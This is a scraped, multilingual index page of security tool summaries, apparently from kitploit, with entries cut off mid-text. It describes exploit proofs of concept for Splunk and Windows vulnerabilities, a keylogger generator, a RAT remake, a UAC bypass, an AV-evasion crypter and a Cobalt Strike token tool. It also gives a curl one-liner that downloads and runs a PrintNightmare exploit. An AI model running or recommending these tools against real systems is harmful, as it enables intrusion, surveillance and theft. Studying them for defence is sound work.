RunAsWinTcb

RunAsWinTcb 概要 RunAsWinTcbは、ユーザーランドのエクスプロイトを使用して、WinTcb-Lightの保護レベルでDLLを実行します。 脆弱性とエクスプロイトの機能の概要はこちらで確認できます： https://tastypepperoni.medium.com/running-exploit-as-protected-process-ligh-from-userland-f4c7dfe63387 使い方 コマンド: RunAsWinTcb.exe POCDLL.dll Windows Defenderの停止:...

CVE-2024-36991

Splunk パストラバーサル エクスプロイト CVE-2024-36991 説明 これは、CVE-2024-36991 に対する Proof-of-Concept PoC エクスプロイトスクリプトです。Windows 版 Splunk Enterprise の以下のバージョン未満に影響するパストラバーサル（パス横断）脆弱性です： 9.2.2 9.1.5 9.0.10 この脆弱性により、未認証の攻撃者が Splunk Web インターフェースのパストラバーサル欠陥を悪用して、サーバー上の機密ファイルにアクセスできるようになります。 重大度: Critical 影響: 任意ファイル読み取り...

kraken

Warning I have been reviewing the Kraken-Client code and since this was my first ever react app, its old, clunky and it needs major improvement the server needs some work too. In the next few weeks/months I will do my best to rewrite it in either updated React or in another framework. Please feel...

aclpwn.py

aclpwn.py Aclpwn.py is a tool that interacts with BloodHound to identify and exploit ACL based privilege escalation paths. It takes a starting and ending point and will use Neo4j pathfinding algorithms to find the most efficient ACL based privilege escalation path. Aclpwn.py is similar to the...

cs-token-vault

Cobalt Strike 用 Token Vault BOF この Beacon Object File BOF は、窃取・複製した Windows アクセストークンをインメモリ上に保存する機能を提供します。これにより、以下のことが可能になります。 窃取済みトークンを再複製せずにホットスワップ/再利用する。 ユーザーがログアウトした場合に備えて、トークンを後で使えるよう保存しておく。 インストール 1. 最新リリースの build をダウンロードするか、make all でビルドします。 2. token-vault.cna アグレッサスクリプトを Cobalt Strike...

Process-Dump

프로세스 덤프 Process Dump는 Windows 역공학 명령줄 도구로, 악성코드 메모리 구성 요소를 디스크로 덤프하여 분석합니다. 악성코드 파일은 종종 AV 스캐너를 피하기 위해 실행 전에 패킹되거나 난독화되지만, 이러한 파일이 실행되면 메모리에서 악성코드 코드의 정상 버전을 언패킹하거나 인젝션하는 경우가 많습니다. 악성코드 연구자가 악성코드를 분석할 때 일반적인 작업 중 하나는 이 언패킹된 코드를 메모리에서 디스크로 덤프하여 AV 제품으로 스캔하거나 IDA와 같은 정적 분석 도구로 분석하는 것입니다. Process...

zabbix-template-CVE-2020-1472

zabbix-template-CVE-2020-1472 Zabbix Template で Windows イベントビューアーの Netlogon 特権昇格の脆弱性 CVE-2020-1472 に関連するイベントを監視します。 イベント ID 5827, 5828 & 5829 を監視します。 https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472...

Sinister

Sinister root@kitploit: 이 작은 파이썬 스크립트는 정말 멋진 작업을 할 수 있습니다. Sinister는 Windows/Linux용 키로거 생성기keylogger generator로, 키로그 및 스크린샷을 이메일로 전송하며, 대상의 기타 유용한 정보를 함께 보냅니다. Python 3으로 작성되었습니다. 면책 조항 :computer: 이 프로젝트는 오직 좋은 목적과 개인적인 용도로만 제작되었습니다. 이 소프트웨어는 어떠한 종류의 보증도 없이 "있는 그대로" 제공됩니다. 귀하는 이 소프트웨어를 자신의 책임 하에...

CVE-2024-30088

CVE-2024-30088 漏洞： 漏洞位于函数 AuthzBasepCopyoutInternalSecurityAttributes 中，当内核将当前令牌对象的 AUTHZBASEPSECURITYATTRIBUTESINFORMATION 复制到用户模式时，该结构如下： root@kitploit: //0x30字节（sizeof） struct AUTHZBASEPSECURITYATTRIBUTESINFORMATION ULONG SecurityAttributeCount; //0x0 struct LISTENTRY SecurityAttributesList;...

RedPersist

RedPersist RedPersist는 C으로 작성된 Windows 지속성 도구입니다. 프로젝트 컴파일 이 프로젝트에서는 아래의 서드파티 라이브러리가 사용됩니다. TaskScheduler https://github.com/dahall/TaskScheduler Fody https://github.com/Fody/Fody Visual Studio 프로젝트를 로드하고 "도구" "NuGet 패키지 관리자" "패키지 관리자 설정"으로 이동합니다. "NuGet 패키지 관리자" "패키지 소스"를 엽니다. Fody 설치...

pre2k

root@kitploit: /'\ /\ \ /\ /\ \ \ /'\ /\ '/'/'\ //// /\ \ , \ \ \L\ \ \ //\ //\ // /\ \ \ \\ \ \ ,/\ \\ \// // \ \ \ \ \ / // // // //// \ \ v3.0 // @unsignedsh0rt @Tw1sm Pre2k Pre2k 是一款用于查询 pre-windows 2000 计算机对象是否存在的工具，这些对象由 @Oddvarmoe 所发现，可被利用来在目标域中获取立足点。Pre2k...

PNCVE-Win10-20H2-Exploit

PrintNightmare-CVE-Win10-20H2-Exploit このエクスプロイトをWindowsで実行するには： 次のワンライナーを実行します： curl https://raw.githubusercontent.com/peckre/PNCVE-Win10-20H2-Exploit/main/Win10Exploit.zip -o Win10Exploit.zip & tar -xf Win10Exploit.zip & run.bat 注： これは再起動ごとに1回しか動作しません。これを実行してから閉じた場合、Print...

SubSeven

SubSeven Legacy 「SubSeven Legacy は、90年代後半に流行したリモートアクセス型トロイの木馬である、悪名高い SubSeven Backdoor（Sub7 としても知られる）の完全リメイクです。オリジナルの Sub7 Backdoor の詳細については、公式の Wikipedia ページ をご覧ください。 オリジナルの Sub7 プログラムと同様に、SubSeven Legacy は完全に Delphi でコーディングされており、最新バージョンの Delphi IDE/コンパイラをサポートしています。ただし、オリジナルの Sub7 とは異なり、SubSeve...

Elevator

説明 Elevator を使用すると、UAC をバイパスして、完全な管理者権限を持つ昇格プロセスを起動できます。これは、James Forshaw 氏が記事 .NET からローカル Windows RPC サーバーを呼び出す で実証したように、UAC 機能を実装する RPC サーバーの動作を悪用することで実現されます。このツールは、追加の DLL をドロップしたり、Windows レジストリに書き込んだりする必要はなく（他の UAC バイパス手法ではよくあることですが）、Windows Server 2016、Windows Server 2019、Windows 10、Windows ...

CVE-2020-1337

CVE-2020-1337 CVE-2020-1337 は、Windows の Print Spooler サービスに影響を与える権限昇格 EoP / ローカル権限昇格 LPE の脆弱性を修正するために作成された PrintDemon CVE-2020-1048 のパッチを、Junction ディレクトリを介して回避するものです。 この脆弱性を悪用するには、低い権限でのアクセスと、スプーラーサービスの再起動が必要です。 このパッチは、Microsoft の 2020 年 8 月 11 日の Patch Tuesday で提供されました -...

BetterXencrypt

\ / | / | \ / / ../ | | | // \/ \ // \ / / | | / | | | | //\ | / | / ||/| | / / / / / / / / || root@kitploit: BetterXencrypt Xencrypt의 개선된 버전입니다. Xencrypt 자체는 AV를 우회하도록 설계된 Powershell 런타임 크립터입니다. Xencrypt는 더 이상 FUD가 아니며 AMSI에 쉽게 탐지되기 때문에, 스텁을 다시 코딩하여 다시 FUD로 만들었습니다. 그리고 원본 Xencrypt는 스크린샷 증거를 보면...

CVE-2022-21882

CVE-2022-21882 Win32k 権限昇格 参考にしたテクニック: https://github.com/L4ys/CVE-2022-21882 https://github.com/exploitblizzard/Windows-Privilege-Escalation-CVE-2021-1732...

wmi-static-spoofer

wmi-static-spoofer 動機： 当初の動機は、アンチチートなどの侵入的なソフトウェアや、ソフトウェアに実装されたライセンス制限によって使用されるHWID検出方法をバイパスすることです。この概念は新しいものではありませんが、他のソリューションでは常にドライバをロードしておく必要があり、不安定になる可能性のあるカーネルフックが必要です。このプロジェクトは直接メモリ操作のみを使用し、関数をフックしたり、カーネルモジュールを常にロードしておくことなく、シリアルを偽装することを可能にします。 説明：...

themebleed

ThemeBleed CVE-2023-38146（"ThemeBleed"）のProof-of-Concept root@kitploit: Usage: ThemeBleed.exe Commands: server - Runs the server maketheme - Generates a .theme file referencing the specified host makethemepack - Generates a .themepack file referencing the specified host データファイル data 内のバイナリは、PoC...

pockint

POCKINT 일명 포켓 인텔리전스는 DFIR/OSINT 전문가를 위한 OSINT 스위스 군용 칼입니다. 가볍고 휴대 가능한 GUI 프로그램으로, 사용자에게 필수적인 OSINT 기능을 소형 폼 팩터로 제공합니다. POCKINT의 입력 상자는 일반적인 지표URL, IP, MD5를 받아들이며, 사용자가 반복 가능한 방식으로 기본적인 OSINT 데이터 마이닝 작업을 수행할 수 있게 해줍니다. 설치 최신 버전은 릴리스 페이지에서 다운로드할 수 있습니다. POCKINT는 단일 실행 파일로 제공되어 컴퓨터 어디에나 저장하고 실행할 수...